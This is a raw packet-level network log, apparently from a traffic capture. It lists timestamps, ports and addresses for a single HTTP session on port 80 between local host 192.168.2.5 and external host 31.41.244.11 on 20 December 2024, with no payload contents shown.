Dec 20, 2024 13:12:24.570148945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.570238113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.570280075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.570347071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.571197987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.571275949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.571672916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.571835041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.572343111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.572393894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.572412968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.572464943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.573298931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.573425055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.573434114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.573489904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.574434042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.574532986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.574558020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.574625015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.575419903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.575495005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.575562000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.575661898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.576443911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.576551914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.576606989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.576672077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.577579021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.577774048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.577800035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.577864885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.578654051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.578715086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.578954935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.579024076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.579648018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.579860926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.580681086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.580714941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.580768108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.580768108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.580786943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.580882072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.581669092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.581986904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.582046032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.582132101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.582719088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.582786083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.582917929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.583203077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.583775043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.583841085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.584059954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.584258080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.584929943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.584965944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.584997892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.585058928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.585946083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.586086988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.586102962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.586281061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.586905956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.587007999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.587080956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.587331057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.587965012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.588053942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.588680983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.588747025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.588992119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.589066029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.590096951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.590131998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.590162992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.590235949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.590281010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.590347052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.591106892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.591212988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.591347933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.591543913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.592421055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.592514038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.592518091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.592576027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.593224049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.593287945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.593288898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.593386889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.594319105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.594391108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.594465971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.594527960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.595340967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.595443964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.595607042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.595736980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.596398115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.596457958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.596533060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.596602917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.597443104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.597557068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.597568035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.597635031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.598426104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.598531961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.598913908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.598987103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.599549055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.599582911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.599633932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.599633932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.600559950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.600645065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.601193905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.601270914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.601562977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.601663113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.601681948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.601746082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.602607012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.602767944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.603106976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.603168964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.603745937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.603832006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.604057074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.604147911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.604897976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.604952097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.604958057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.605035067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.605963945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.606081009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.606211901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.606268883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.607125998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.607191086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.607409954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.607476950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.608207941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.608289957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.608350039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.608436108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.609299898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.609385014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.609504938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.609602928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.610204935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.610291004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.610327959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.610399961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.611042976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.611180067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.611180067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.611247063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.612087011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.612155914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.612354040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.612442017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.613111973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.613194942 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.613257885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.613410950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.614233971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.614316940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.614984035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.615056992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.615180016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.615277052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.615282059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.615329981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.616233110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.616349936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.753598928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.753662109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.753753901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.753843069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.753927946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.754029036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.754091978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.754159927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.754970074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.755031109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.755709887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.756028891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.756052971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.756093979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.756201029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.756272078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.757062912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.757175922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.757385969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.757530928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.758090973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.758143902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.758219957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.758281946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.759061098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.759164095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.759193897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.759253025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.759916067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.760025978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.760368109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.760436058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.760984898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.761143923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.761596918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.761647940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.762095928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.762207985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.762259960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.762321949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.763117075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.763286114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.763384104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.763447046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.764107943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.764168978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.764692068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.764765978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.765228033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.765281916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.765315056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.765336037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.766186953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.766242981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.766308069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.766350985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.767345905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.767456055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.767774105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.767865896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.768301010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.768404007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.768440962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.768512964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.769388914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.769520044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.769596100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.769959927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.770410061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.770472050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.770526886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.770627975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.771498919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.771672010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.771676064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.771728992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.774565935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.774708033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.774730921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.774765968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.774786949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.774801016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.774838924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.774857044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.774899006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.774996042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.775048018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.775146961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.775955915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.776084900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.776299000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.776432037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.777193069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.777228117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.777276993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.777276993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.777967930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.778033972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.778285980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.778403044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.779050112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.779114962 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.780097008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.780131102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.780167103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.780180931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.780180931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.780237913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.780875921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.780949116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.781991959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.782026052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.782061100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.782073021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.782073021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.782134056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.782953024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.783119917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.783232927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.783308983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.783998966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.784204006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.784692049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.784759045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.785064936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.785119057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.785331964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.785402060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.786094904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.786169052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.786290884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.786406040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.787143946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.787291050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.787472963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.787550926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.788232088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.788319111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.788335085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.788403988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.789259911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.789352894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.789484024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.789637089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.790302992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.790450096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.791424036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.791459084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.791479111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.791497946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.791543961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.791543961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.792396069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.792537928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.792634964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.792716980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.793474913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.793544054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.793572903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.793637037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.794492960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.794600010 CET	49859	80	192.168.2.5	31.41.244.11
